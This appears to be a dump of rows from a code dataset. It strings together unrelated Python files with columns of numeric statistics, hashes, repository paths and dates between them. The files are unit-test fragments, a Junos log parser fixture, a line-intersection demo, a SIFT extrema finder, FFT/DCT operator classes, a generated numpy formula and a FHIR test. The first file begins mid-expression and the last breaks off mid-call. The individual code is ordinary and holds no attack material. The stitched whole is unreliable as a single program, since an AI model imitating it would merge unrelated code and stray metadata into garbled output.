pkg_1 + 2233 with self.assertRaises(ValueError): _ = pkg_1 + [32313] def test_append_fail(self): result_d_1 = {'metric1': 33232, 'metric2': 1000} pkg_1 = DummyResultPackageExtendVariable(result_d_1) result_d_2 = {'metric3': 1, 'metric4': 2} pkg_2 = DummyResultPackageExtendVariable(result_d_2) pkg_2.prepare_result_package([10] * 100, [11] * 100, {'qqq': 445}) with self.assertRaises(ValueError): pkg_1 += pkg_2 with self.assertRaises(ValueError): pkg_2 += pkg_1 with self.assertRaises(ValueError): pkg_1 += {'metric3': 1, 'metric4': 2} pkg_1.prepare_result_package([10] * 100, [11] * 100, {'dddd': 222}) with self.assertRaises(ValueError): pkg_1 += 2233 with self.assertRaises(ValueError): pkg_1 += [32313]
46.508021
128
0.629642
1,092
8,697
4.636447
0.070513
0.092633
0.041082
0.078215
0.874185
0.844954
0.832708
0.831918
0.828758
0.828758
0
0.096967
0.249396
8,697
186
129
46.758065
0.678615
0.011613
0
0.701493
0
0.007463
0.116257
0.019551
0
0
0
0
0.19403
1
0.052239
false
0
0.022388
0
0.08209
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f63c3e742f697606a72d647ed8d3708f56eb92cb
4,973
py
Python
src/genie/libs/parser/junos/tests/ShowLogFilename/cli/equal/golden_output_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
204
2018-06-27T00:55:27.000Z
2022-03-06T21:12:18.000Z
src/genie/libs/parser/junos/tests/ShowLogFilename/cli/equal/golden_output_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
468
2018-06-19T00:33:18.000Z
2022-03-31T23:23:35.000Z
src/genie/libs/parser/junos/tests/ShowLogFilename/cli/equal/golden_output_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
309
2019-01-16T20:21:07.000Z
2022-03-30T12:56:41.000Z
expected_output = { "file-content": [ "", "show log messages", "Mar 5 00:45:00 sr_hktGCS001 newsyslog[89037]: logfile turned over due to size>1024K", "Mar 5 02:42:53 sr_hktGCS001 sshd[87374]: Received disconnect from 10.1.0.1 port 46480:11: disconnected by user", "Mar 5 02:42:53 sr_hktGCS001 sshd[87374]: Disconnected from 10.1.0.1 port 46480", "Mar 5 02:42:53 sr_hktGCS001 inetd[6841]: /usr/sbin/sshd[87371]: exited, status 255", "Mar 5 14:47:18 sr_hktGCS001 sshd[91368]: Accepted keyboard-interactive/pam for user from 10.1.0.1 port 46494 ssh2", "Mar 5 14:47:45 sr_hktGCS001 mgd[91373]: UI_DBASE_LOGIN_EVENT: User 'user' entering configuration mode", "Mar 5 14:47:45 sr_hktGCS001 mgd[91373]: UI_LOAD_EVENT: User 'user' is performing a 'load override'", "Mar 5 14:47:45 sr_hktGCS001 mgd[91373]: UI_COMMIT: User 'user' requested 'commit' operation (comment: none)", "Mar 5 14:47:47 sr_hktGCS001 mgd[91373]: UI_CHILD_EXITED: Child exited: PID 91546, status 7, command '/usr/sbin/mustd'", 'Mar 5 14:47:47 sr_hktGCS001 ffp: "dynamic-profiles": Profiles are being modified', "Mar 5 14:47:47 sr_hktGCS001 rpd[91549]: ted_client reset", "Mar 5 14:47:47 sr_hktGCS001 chassisd[91550]: JAM:PL: mod info i2cc4a", "Mar 5 14:47:47 sr_hktGCS001 chassisd[91550]: JAM:PL: asy info i2cc4a", "Mar 5 14:47:47 sr_hktGCS001 chassisd[91550]: JAM:PL: Reg Attribs done for c4a", "Mar 5 14:47:47 sr_hktGCS001 chassisd[91550]: JAM:PL: vectors_set done for c4a", "Mar 5 14:47:47 sr_hktGCS001 chassisd[91550]: JAM:PL: ds_prepare done for c4a", "Mar 5 14:47:47 sr_hktGCS001 chassisd[91550]: CHASSISD_IOCTL_FAILURE: acb_get_fpga_rev: unable to get FPGA revision for Control Board (Inappropriate ioctl for device)", "Mar 5 14:47:48 sr_hktGCS001 agentd[91565]: AGENTD_CONFIG_INFO: Entering configuration read. is_master:0", "Mar 5 14:47:48 sr_hktGCS001 agentd[91565]: AGENTD_SENSOR_INSTALL_SUCCESS: Sensor install success :sensorname: sensor_1000, resname: /junos/events/event[id='CHASSISD_SNMP_TRAP7']/", "Mar 5 14:47:48 sr_hktGCS001 agentd[91565]: AGENTD_SENSOR_INSTALL_SUCCESS: Sensor install success :sensorname: sensor_1003, resname: /components/", "Mar 5 14:47:48 sr_hktGCS001 mobiled: MBG_PKG_BBE_NOT_FOUND: Neither BNG LIC nor JMOBILE package is present, exit mobiled on(single Chassis, MXVC, GNF)", 'Mar 5 14:47:49 sr_hktGCS001 ffp: "dynamic-profiles": Profiles are being modified', "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: Registered PID 92002(disk-monitoring): exec_command", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: Registered PID 92003((null)): exec_command", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: Alarm clear command: /usr/sbin/cli (PID 92003) started", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: disk-monitoring (PID 92002) started", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: Registered PID 92002(disk-monitoring): new process", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: Registered PID 92004(mobiled): exec_command", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: Registered PID 92005((null)): exec_command", "Mar 5 14:47:49 sr_hktGCS001 mobiled: MBG_PKG_BBE_NOT_FOUND: Neither BNG LIC nor JMOBILE package is present, exit mobiled on(single Chassis, MXVC, GNF)", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: Alarm clear command: /usr/sbin/cli (PID 92005) started", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: mobiled (PID 92004) started", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: Registered PID 92004(mobiled): new process", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: Registered PID 92006(commit-batch): exec_command", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: commit-batch (PID 92006) started", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: Registered PID 92006(commit-batch): new process", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: mobiled (PID 92004) exited with status=0 Normal Exit", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: Registered PID 92007(mobiled): exec_command", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: mobiled (PID 92007) started", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: Registered PID 92007(mobiled): new process", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: commit-batch (PID 92006) exited with status=0 Normal Exit", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: disk-monitoring (PID 92002) exited with status=17", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: Registered PID 92008(disk-monitoring): exec_command", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: disk-monitoring (PID 92008) started", "Mar 5 14:47:49 sr_hktGCS001 jlaunchd: Registered PID 92008(disk-monitoring): new process", "Mar 5 14:47:50 sr_hktGCS001 rpd[6904]: ted_client reset", "", ] }
92.092593
191
0.692138
778
4,973
4.305913
0.239075
0.054925
0.075224
0.100299
0.756716
0.753731
0.749851
0.716716
0.711343
0.689254
0
0.186774
0.203298
4,973
53
192
93.830189
0.658758
0
0
0.037736
0
0.377358
0.87412
0.066761
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9c9802d7581ebda69304dea18a923ff0c8575006
5,024
py
Python
examples/line.py
mikecokina/pypex
2f9f5f41ff965726a3ae025b59001cdf7a416fcd
[ "MIT" ]
4
2020-03-26T04:41:13.000Z
2021-04-07T13:57:40.000Z
examples/line.py
mikecokina/pypex
2f9f5f41ff965726a3ae025b59001cdf7a416fcd
[ "MIT" ]
1
2021-09-06T07:06:58.000Z
2021-09-06T07:06:58.000Z
examples/line.py
mikecokina/pypex
2f9f5f41ff965726a3ae025b59001cdf7a416fcd
[ "MIT" ]
null
null
null
from pypex import Line def main(): line1 = Line([[0.0, 0.0], [1.1, 1.1]]) line2 = Line([[0.0, 1.0], [1.0, 0.0]]) intersects = line1.intersects(line2) print("{} is in intersection with {}: {}".format(line1, line2, intersects)) intersection = line1.intersection(line2) print("{} intersects {} in {}\n".format(line1, line2, intersection)) full = line1.intersects(line2, _full=True) print("full info of intersection of {} and {}\n" " defined infinite lines intersects: {}\n" " defined segments intersects: {}\n" " defined segments intersects in {}\n" " defined segments distance {}\n" " defined segments description {}\n" "".format(line1, line2, full[0], full[1], full[2], full[3], full[4])) try: import matplotlib as mpl from matplotlib import pyplot as plt # mpl rcParams params = {'legend.fontsize': 8, 'legend.handlelength': 0.5, "font.size": 8} mpl.rcParams.update(params) colors, markers = ["r", "b"], ["x", "o"] for idx, line in enumerate([line1, line2]): for point in line.to_array(): plt.scatter(point[0], point[1], s=50, c=colors[idx], marker=markers[idx]) plt.plot(line.to_array().T[0], line.to_array().T[1], c=colors[idx]) plt.show() except ImportError: pass line1 = Line([[0.0, 0.0], [1.1, 1.1]]) line2 = Line([[0.0, 1.0], [1.1, 2.1]]) full = line1.intersects(line2, _full=True) print("full info of intersection of {} and {}\n" " defined infinite lines intersects: {}\n" " defined segments intersects: {}\n" " defined segments intersects in {}\n" " defined segments distance {}\n" " defined segments description {}\n" "".format(line1, line2, full[0], full[1], full[2], full[3], full[4])) try: import matplotlib as mpl from matplotlib import pyplot as plt # mpl rcParams params = {'legend.fontsize': 8, 'legend.handlelength': 0.5, "font.size": 8} mpl.rcParams.update(params) colors, markers = ["r", "b"], ["x", "o"] for idx, line in enumerate([line1, line2]): for point in line.to_array(): plt.scatter(point[0], point[1], s=50, c=colors[idx], marker=markers[idx]) plt.plot(line.to_array().T[0], line.to_array().T[1], c=colors[idx]) plt.show() except ImportError: pass line1 = Line([[0.0, 0.0], [1.1, 1.1]]) line2 = Line([[0.0, 0.0], [2.1, 2.1]]) full = line1.intersects(line2, _full=True) print("full info of intersection of {} and {}\n" " defined infinite lines intersects: {}\n" " defined segments intersects: {}\n" " defined segments intersects in {}\n" " defined segments distance {}\n" " defined segments description {}\n" "".format(line1, line2, full[0], full[1], full[2], full[3], full[4])) try: import matplotlib as mpl from matplotlib import pyplot as plt # mpl rcParams params = {'legend.fontsize': 8, 'legend.handlelength': 0.5, "font.size": 8} mpl.rcParams.update(params) colors, markers = ["r", "b"], ["x", "o"] for idx, line in enumerate([line1, line2]): for point in line.to_array(): plt.scatter(point[0], point[1], s=50, c=colors[idx], marker=markers[idx], zorder=80 if idx == 0 else 50) plt.plot(line.to_array().T[0], line.to_array().T[1], c=colors[idx]) plt.show() except ImportError: pass line1 = Line([[0.0, 0.0], [1.1, 1.1]]) line2 = Line([[1.2, 1.2], [2.1, 2.1]]) full = line1.intersects(line2, _full=True) print("full info of intersection of {} and {}\n" " defined infinite lines intersects: {}\n" " defined segments intersects: {}\n" " defined segments intersects in {}\n" " defined segments distance {}\n" " defined segments description {}\n" "".format(line1, line2, full[0], full[1], full[2], full[3], full[4])) try: import matplotlib as mpl from matplotlib import pyplot as plt # mpl rcParams params = {'legend.fontsize': 8, 'legend.handlelength': 0.5, "font.size": 8} mpl.rcParams.update(params) colors, markers = ["r", "b"], ["x", "o"] for idx, line in enumerate([line1, line2]): for point in line.to_array(): plt.scatter(point[0], point[1], s=50, c=colors[idx], marker=markers[idx], zorder=80 if idx == 0 else 50) plt.plot(line.to_array().T[0], line.to_array().T[1], c=colors[idx]) plt.show() except ImportError: pass if __name__ == "__main__": main()
39.25
121
0.535231
649
5,024
4.106317
0.117103
0.060038
0.09606
0.078049
0.921951
0.921201
0.921201
0.921201
0.921201
0.921201
0
0.049672
0.302747
5,024
127
122
39.559055
0.711105
0.010151
0
0.88
0
0
0.246437
0
0
0
0
0
0
1
0.01
false
0.04
0.13
0
0.14
0.06
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9ca86a27f1068868a586abb32fd30ffe3c2889da
4,168
py
Python
findextrema.py
CP-Panizza/sift-py3.7
151419d44c853f221f8481ade0980aeb0fcb2fc5
[ "MIT" ]
null
null
null
findextrema.py
CP-Panizza/sift-py3.7
151419d44c853f221f8481ade0980aeb0fcb2fc5
[ "MIT" ]
null
null
null
findextrema.py
CP-Panizza/sift-py3.7
151419d44c853f221f8481ade0980aeb0fcb2fc5
[ "MIT" ]
null
null
null
from PIL import Image import scipy import numpy import scipy.ndimage import math import itertools import harris import hessian import contrast class findextrema(object): def getPatextremes(self,ims,pa): """ find local extremas on pattern image """ # instantiate funtional class hs = harris.harris() hess = hessian.hessian() cont = contrast.contrast() coordinates = [] temp = {} H = [0,1,2,3] W = [0,1,2,3] for i in range(4): H[i] = len(ims[i][0]) W[i] = len(ims[i][0][0]) localArea = [0,1,2] # get the unstable and low contrast pixel hs_points = hs.corner(pa) hess_points = hess.patEdgeDetect(pa) low_contrast = cont.lowcontrast(pa) # compute the pixels which are not situable for pixel matching bad_points = list(set(hs_points) | set(hess_points) | set(low_contrast)) bad = dict.fromkeys(bad_points, 0) for m in range(4): for n in range(1,3): for i in range(16,H[m]-16): for j in range(16,W[m]-16): if ((i*2**m,j*2**m) in bad.keys())==False : # compare local pixel with its 26 neighbour currentPixel = ims[m][n][i][j] localArea[0] = ims[m][n-1][i-1:i+2,j-1:j+2] localArea[1] = ims[m][n][i-1:i+2,j-1:j+2] localArea[2] = ims[m][n+1][i-1:i+2,j-1:j+2] Area = numpy.array(localArea) maxLocal = numpy.array(Area).max() minLocal = numpy.array(Area).min() if (currentPixel == maxLocal) or (currentPixel == minLocal): if ((i*2**m,j*2**m) in temp.keys()) == False: coordinates.append([int(i*2**m),int(j*2**m)]) temp[(i*2**m,j*2**m)] = [i*2**m,j*2**m] return coordinates def get_Srcextremes(self,ims,sa): """ find local extremas on pattern image """ # instantiate funtional class hs = harris.harris() hess = hessian.hessian() cont = contrast.contrast() coordinates = [] temp = {} H = [0,1,2,3] W = [0,1,2,3] for i in range(4): H[i] = len(ims[i][0]) W[i] = len(ims[i][0][0]) localArea = [0,1,2] # get the unstable and low contrast pixel hs_points = hs.corner(sa) hess_points = hess.Srcedgedetect(sa) low_contrast = cont.lowcontrast(sa) # compute the pixels which are not situable for pixel matching bad_points = list(set(hs_points) | set(hess_points) | set(low_contrast)) bad = dict.fromkeys(bad_points, 0) for m in range(4): for n in range(1,3): for i in range(16,H[m]-16): for j in range(16,W[m]-16): if ((i*2**m,j*2**m) in bad.keys())==False : # compare local pixel with its 26 neighbour currentPixel = ims[m][n][i][j] localArea[0] = ims[m][n-1][i-1:i+2,j-1:j+2] localArea[1] = ims[m][n][i-1:i+2,j-1:j+2] localArea[2] = ims[m][n+1][i-1:i+2,j-1:j+2] Area = numpy.array(localArea) maxLocal = numpy.array(Area).max() minLocal = numpy.array(Area).min() if (currentPixel == maxLocal) or (currentPixel == minLocal): if ((i*2**m,j*2**m) in temp.keys()) == False: coordinates.append([int(i*2**m),int(j*2**m)]) temp[(i*2**m,j*2**m)] = [i*2**m,j*2**m] return coordinates
33.079365
90
0.445058
535
4,168
3.435514
0.173832
0.021763
0.016322
0.01741
0.829162
0.829162
0.829162
0.829162
0.829162
0.829162
0
0.046338
0.420106
4,168
125
91
33.344
0.714108
0.099808
0
0.769231
0
0
0
0
0
0
0
0
0
1
0.025641
false
0
0.115385
0
0.179487
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9caa637007e116d00903246c98ea3b8861dd8d09
5,775
py
Python
anoa/operators/fftpack.py
mfkasim91/anoa
c9c34a06dcfc3b3b98482d38d110860c35a255bc
[ "MIT" ]
1
2022-01-29T23:03:55.000Z
2022-01-29T23:03:55.000Z
anoa/operators/fftpack.py
mfkasim1/anoa
c9c34a06dcfc3b3b98482d38d110860c35a255bc
[ "MIT" ]
null
null
null
anoa/operators/fftpack.py
mfkasim1/anoa
c9c34a06dcfc3b3b98482d38d110860c35a255bc
[ "MIT" ]
1
2018-01-08T12:42:22.000Z
2018-01-08T12:42:22.000Z
import anoa.core.ops as ops import numpy as np import anoa.core.decorator as decor import scipy.fftpack as scft ########## 1D transformation ########## class _DCT(ops.Transform): @decor.linear_transform_initialisation("unary") def __init__(self, type, axis): self.type = type self.axis = axis def forward(self, x): return scft.dct(x, type=self.type, axis=self.axis, norm="ortho") @decor.put_child_values_arguments def adjoint(self, grad): return scft.idct(grad, type=self.type, axis=self.axis, norm="ortho") class _IDCT(_DCT): def forward(self, x): return scft.idct(x, type=self.type, axis=self.axis, norm="ortho") @decor.put_child_values_arguments def adjoint(self, grad): return scft.dct(grad, type=self.type, axis=self.axis, norm="ortho") class _DST(_DCT): def forward(self, x): return scft.dst(x, type=self.type, axis=self.axis, norm="ortho") @decor.put_child_values_arguments def adjoint(self, grad): return scft.idst(grad, type=self.type, axis=self.axis, norm="ortho") class _IDST(_DCT): def forward(self, x): return scft.idst(x, type=self.type, axis=self.axis, norm="ortho") @decor.put_child_values_arguments def adjoint(self, grad): return scft.dst(grad, type=self.type, axis=self.axis, norm="ortho") class _FFT(ops.Transform): @decor.linear_transform_initialisation("unary") def __init__(self, axis): self.axis = axis def forward(self, x): return scft.fft(x, axis=self.axis) @decor.put_child_values_arguments def adjoint(self, grad): return scft.ifft(grad, axis=self.axis) class _IFFT(_FFT): def forward(self, x): return scft.ifft(x, axis=self.axis) @decor.put_child_values_arguments def adjoint(self, grad): return scft.fft(grad, axis=self.axis) ########## 2D transformation ########## class _DCT2(ops.Transform): @decor.linear_transform_initialisation("unary") def __init__(self, type, axes): self.type = type self.axes = axes def forward(self, x): return _DCTN.forward_static(x, type=self.type, axes=self.axes) @decor.put_child_values_arguments def adjoint(self, grad): return _DCTN.adjoint_static(grad, type=self.type, axes=self.axes) class _IDCT2(_DCT2): def forward(self, x): return _DCTN.adjoint_static(x, type=self.type, axes=self.axes) @decor.put_child_values_arguments def adjoint(self, grad): return _DCTN.forward_static(grad, type=self.type, axes=self.axes) class _DST2(_DCT2): def forward(self, x): return _DSTN.forward_static(x, type=self.type, axes=self.axes) @decor.put_child_values_arguments def adjoint(self, grad): return _DSTN.adjoint_static(grad, type=self.type, axes=self.axes) class _IDST2(_DCT2): def forward(self, x): return _DSTN.adjoint_static(x, type=self.type, axes=self.axes) @decor.put_child_values_arguments def adjoint(self, grad): return _DSTN.forward_static(grad, type=self.type, axes=self.axes) class _FFT2(ops.Transform): @decor.linear_transform_initialisation("unary") def __init__(self, axes): self.axes = axes def forward(self, x): return scft.fft2(x, axes=self.axes) @decor.put_child_values_arguments def adjoint(self, grad): return scft.ifft2(grad, axes=self.axes) class _IFFT2(_FFT2): def forward(self, x): return scft.ifft2(x, axes=self.axes) @decor.put_child_values_arguments def adjoint(self, grad): return scft.fft2(grad, axes=self.axes) ########## N-D transformation ########## class _DCTN(_DCT2): @staticmethod def forward_static(x, type=2, axes=None): if axes == None: axes = np.arange(len(x.shape)) # make a copy of the input y = x # apply the dct for each axis for axis in axes: y = scft.dct(y, type=type, axis=axis, norm="ortho") return y @staticmethod def adjoint_static(x, type=2, axes=None): if axes == None: axes = np.arange(len(x.shape)) # make a copy of the input y = x # apply the dct for each axis for axis in axes: y = scft.idct(y, type=type, axis=axis, norm="ortho") return y class _IDCTN(_IDCT2): # the __init__ function is same as _DCT2 # the forward and adjoint functions are same as _IDCT2 pass class _DSTN(_DST2): @staticmethod def forward_static(x, type=2, axes=None): if axes == None: axes = np.arange(len(x.shape)) # make a copy of the input y = x # apply the dct for each axis for axis in axes: y = scft.dst(y, type=type, axis=axis, norm="ortho") return y @staticmethod def adjoint_static(x, type=2, axes=None): if axes == None: axes = np.arange(len(x.shape)) # make a copy of the input y = x # apply the dct for each axis for axis in axes: y = scft.idst(y, type=type, axis=axis, norm="ortho") return y class _IDSTN(_IDST2): # the __init__ function is same as _DST2 # the forward and adjoint functions are same as _IDST2 pass class _FFTN(_FFT2): def forward(self, x): return scft.fftn(x, axes=self.axes) @decor.put_child_values_arguments def adjoint(self, grad): return scft.ifftn(grad, axes=self.axes) class _IFFTN(_FFT2): def forward(self, x): return scft.ifftn(x, axes=self.axes) @decor.put_child_values_arguments def adjoint(self, grad): return scft.fftn(grad, axes=self.axes)
29.314721
78
0.631688
818
5,775
4.300734
0.101467
0.04548
0.057987
0.059693
0.861569
0.84963
0.818931
0.753837
0.713474
0.692439
0
0.00689
0.246061
5,775
196
79
29.464286
0.801102
0.078442
0
0.560606
0
0
0.015244
0
0
0
0
0
0
1
0.272727
false
0.015152
0.030303
0.212121
0.681818
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
9
9cb5a4952715645e130326dc514c1c46ad24ed89
3,310
py
Python
o/soft_robot/derivation_of_dynamics/derived/mac2/eqs/numpy_style/Theta0.py
YoshimitsuMatsutaIe/ctrlab2021_soudan
7841c981e6804cc92d34715a00e7c3efce41d1d0
[ "MIT" ]
null
null
null
o/soft_robot/derivation_of_dynamics/derived/mac2/eqs/numpy_style/Theta0.py
YoshimitsuMatsutaIe/ctrlab2021_soudan
7841c981e6804cc92d34715a00e7c3efce41d1d0
[ "MIT" ]
null
null
null
o/soft_robot/derivation_of_dynamics/derived/mac2/eqs/numpy_style/Theta0.py
YoshimitsuMatsutaIe/ctrlab2021_soudan
7841c981e6804cc92d34715a00e7c3efce41d1d0
[ "MIT" ]
null
null
null
import numpy def f(q, q_dot, xi): l1, l2, l3 = q[0,0], q[1,0], q[2,0] l1_dot, l2_dot, l3_dot = q_dot[0,0], q_dot[1,0], q_dot[2,0] return numpy.array([[8.8412689977681e-5*xi**2*(0.5*l1 - 5.0e-5)*(l2 - 0.002) + 3.31547587416304e-5*xi**2*(0.5*l1 - 5.0e-5)*(l3 - 0.0015) - 3.03918621798279e-5*xi**2*(l1 - 0.0001)**2 - 2.41125518120948e-5*xi**2*(0.5*l2 - 0.001)*(l3 - 0.0015) - 1.60750345413965e-5*xi**2*(l2 - 0.002)**2 + 0.5*(l3 - 0.0015)**2*(-4.52110346476778e-6*xi**2 - 1.04773789644241e-9) + 1.0, -2.32023137992695e-5*xi**2*(0.5*l1 - 5.0e-5)*(l2 - 0.002) - 8.70086767472609e-6*xi**2*(0.5*l1 - 5.0e-5)*(l3 - 0.0015) + 7.97579536849891e-6*xi**2*(l1 - 0.0001)**2 + 6.32790376343716e-6*xi**2*(0.5*l2 - 0.001)*(l3 - 0.0015) + 4.2186025089581e-6*xi**2*(l2 - 0.002)**2 + 5.93240977822234e-7*xi**2*(l3 - 0.0015)**2, 2.96701739469302*xi*(0.5*l1 - 5.0e-5)*(l2 - 0.002) - 4.79372586530627*xi*(0.5*l1 - 5.0e-5)*(l3 - 0.0015) + 0.456677117653311*xi*(l1 - 0.0001)**2 - 0.00779639175257732*xi*(l1 - 0.0001) - 5.26092039536614*xi*(0.5*l2 - 0.001)*(l3 - 0.0015) + 0.57347575016828*xi*(l2 - 0.002)**2 + 0.00567010309278351*xi*(l2 - 0.002) + 2.5136615651681*xi*(l3 - 0.0015)**2 + 0.00212628865979382*xi*(l3 - 0.0015)], [8.8412689977681e-5*xi**2*(0.5*l1 - 5.0e-5)*(l2 - 0.002) + 3.31547587416304e-5*xi**2*(0.5*l1 - 5.0e-5)*(l3 - 0.0015) - 3.03918621798279e-5*xi**2*(l1 - 0.0001)**2 - 2.41125518120948e-5*xi**2*(0.5*l2 - 0.001)*(l3 - 0.0015) - 1.60750345413965e-5*xi**2*(l2 - 0.002)**2 + 0.5*(l3 - 0.0015)**2*(-4.52110346476778e-6*xi**2 - 1.04773789644241e-9) + 1.0, -2.32023137992695e-5*xi**2*(0.5*l1 - 5.0e-5)*(l2 - 0.002) - 8.70086767472609e-6*xi**2*(0.5*l1 - 5.0e-5)*(l3 - 0.0015) + 7.97579536849891e-6*xi**2*(l1 - 0.0001)**2 + 6.32790376343716e-6*xi**2*(0.5*l2 - 0.001)*(l3 - 0.0015) + 4.2186025089581e-6*xi**2*(l2 - 0.002)**2 + 5.93240977822234e-7*xi**2*(l3 - 0.0015)**2, 2.96701739469302*xi*(0.5*l1 - 5.0e-5)*(l2 - 0.002) - 4.79372586530627*xi*(0.5*l1 - 5.0e-5)*(l3 - 0.0015) + 0.456677117653311*xi*(l1 - 0.0001)**2 - 0.00779639175257732*xi*(l1 - 0.0001) - 5.26092039536614*xi*(0.5*l2 - 0.001)*(l3 - 0.0015) + 0.57347575016828*xi*(l2 - 0.002)**2 + 0.00567010309278351*xi*(l2 - 0.002) + 2.5136615651681*xi*(l3 - 0.0015)**2 + 0.00212628865979382*xi*(l3 - 0.0015)], [8.8412689977681e-5*xi**2*(0.5*l1 - 5.0e-5)*(l2 - 0.002) + 3.31547587416304e-5*xi**2*(0.5*l1 - 5.0e-5)*(l3 - 0.0015) - 3.03918621798279e-5*xi**2*(l1 - 0.0001)**2 - 2.41125518120948e-5*xi**2*(0.5*l2 - 0.001)*(l3 - 0.0015) - 1.60750345413965e-5*xi**2*(l2 - 0.002)**2 + 0.5*(l3 - 0.0015)**2*(-4.52110346476778e-6*xi**2 - 1.04773789644241e-9) + 1.0, -2.32023137992695e-5*xi**2*(0.5*l1 - 5.0e-5)*(l2 - 0.002) - 8.70086767472609e-6*xi**2*(0.5*l1 - 5.0e-5)*(l3 - 0.0015) + 7.97579536849891e-6*xi**2*(l1 - 0.0001)**2 + 6.32790376343716e-6*xi**2*(0.5*l2 - 0.001)*(l3 - 0.0015) + 4.2186025089581e-6*xi**2*(l2 - 0.002)**2 + 5.93240977822234e-7*xi**2*(l3 - 0.0015)**2, 2.96701739469302*xi*(0.5*l1 - 5.0e-5)*(l2 - 0.002) - 4.79372586530627*xi*(0.5*l1 - 5.0e-5)*(l3 - 0.0015) + 0.456677117653311*xi*(l1 - 0.0001)**2 - 0.00779639175257732*xi*(l1 - 0.0001) - 5.26092039536614*xi*(0.5*l2 - 0.001)*(l3 - 0.0015) + 0.57347575016828*xi*(l2 - 0.002)**2 + 0.00567010309278351*xi*(l2 - 0.002) + 2.5136615651681*xi*(l3 - 0.0015)**2 + 0.00212628865979382*xi*(l3 - 0.0015)]])
551.666667
3,171
0.60997
692
3,310
2.907514
0.070809
0.053678
0.104374
0.044732
0.957256
0.957256
0.957256
0.957256
0.957256
0.957256
0
0.563005
0.103323
3,310
6
3,171
551.666667
0.114892
0
0
0
0
0
0
0
0
0
0
0
0
1
0.2
false
0
0.2
0
0.6
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
1
0
0
1
1
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
12
9cc10001848197eb69e839e54cb8bcc849d3bf7d
34,708
py
Python
fhir/resources/STU3/tests/test_eligibilityresponse.py
mmabey/fhir.resources
cc73718e9762c04726cd7de240c8f2dd5313cbe1
[ "BSD-3-Clause" ]
null
null
null
fhir/resources/STU3/tests/test_eligibilityresponse.py
mmabey/fhir.resources
cc73718e9762c04726cd7de240c8f2dd5313cbe1
[ "BSD-3-Clause" ]
null
null
null
fhir/resources/STU3/tests/test_eligibilityresponse.py
mmabey/fhir.resources
cc73718e9762c04726cd7de240c8f2dd5313cbe1
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """ Profile: http://hl7.org/fhir/StructureDefinition/EligibilityResponse Release: STU3 Version: 3.0.2 Revision: 11917 Last updated: 2019-10-24T11:53:00+11:00 """ import io import json import os import unittest import pytest from .. import eligibilityresponse from ..fhirdate import FHIRDate from .fixtures import force_bytes @pytest.mark.usefixtures("base_settings") class EligibilityResponseTests(unittest.TestCase): def instantiate_from(self, filename): datadir = os.environ.get("FHIR_UNITTEST_DATADIR") or "" with io.open(os.path.join(datadir, filename), "r", encoding="utf-8") as handle: js = json.load(handle) self.assertEqual("EligibilityResponse", js["resourceType"]) return eligibilityresponse.EligibilityResponse(js) def testEligibilityResponse1(self): inst = self.instantiate_from("eligibilityresponse-example-benefits-2.json") self.assertIsNotNone( inst, "Must have instantiated a EligibilityResponse instance" ) self.implEligibilityResponse1(inst) js = inst.as_json() self.assertEqual("EligibilityResponse", js["resourceType"]) inst2 = eligibilityresponse.EligibilityResponse(js) self.implEligibilityResponse1(inst2) def implEligibilityResponse1(self, inst): self.assertEqual(force_bytes(inst.contained[0].id), force_bytes("patient-1")) self.assertEqual(force_bytes(inst.contained[1].id), force_bytes("coverage-1")) self.assertEqual(inst.created.date, FHIRDate("2014-09-16").date) self.assertEqual(inst.created.as_json(), "2014-09-16") self.assertEqual( force_bytes(inst.disposition), force_bytes("Policy is currently in-force.") ) self.assertEqual( force_bytes(inst.form.coding[0].code), force_bytes("ELRSP/2017/01") ) self.assertEqual( force_bytes(inst.form.coding[0].system), force_bytes("http://national.org/form"), ) self.assertEqual(force_bytes(inst.id), force_bytes("E2502")) self.assertEqual( force_bytes(inst.identifier[0].system), force_bytes("http://www.BenefitsInc.com/fhir/eligibilityresponse"), ) self.assertEqual(force_bytes(inst.identifier[0].value), force_bytes("8812342")) self.assertTrue(inst.inforce) self.assertEqual( force_bytes(inst.insurance[0].benefitBalance[0].category.coding[0].code), force_bytes("medical"), ) self.assertEqual( 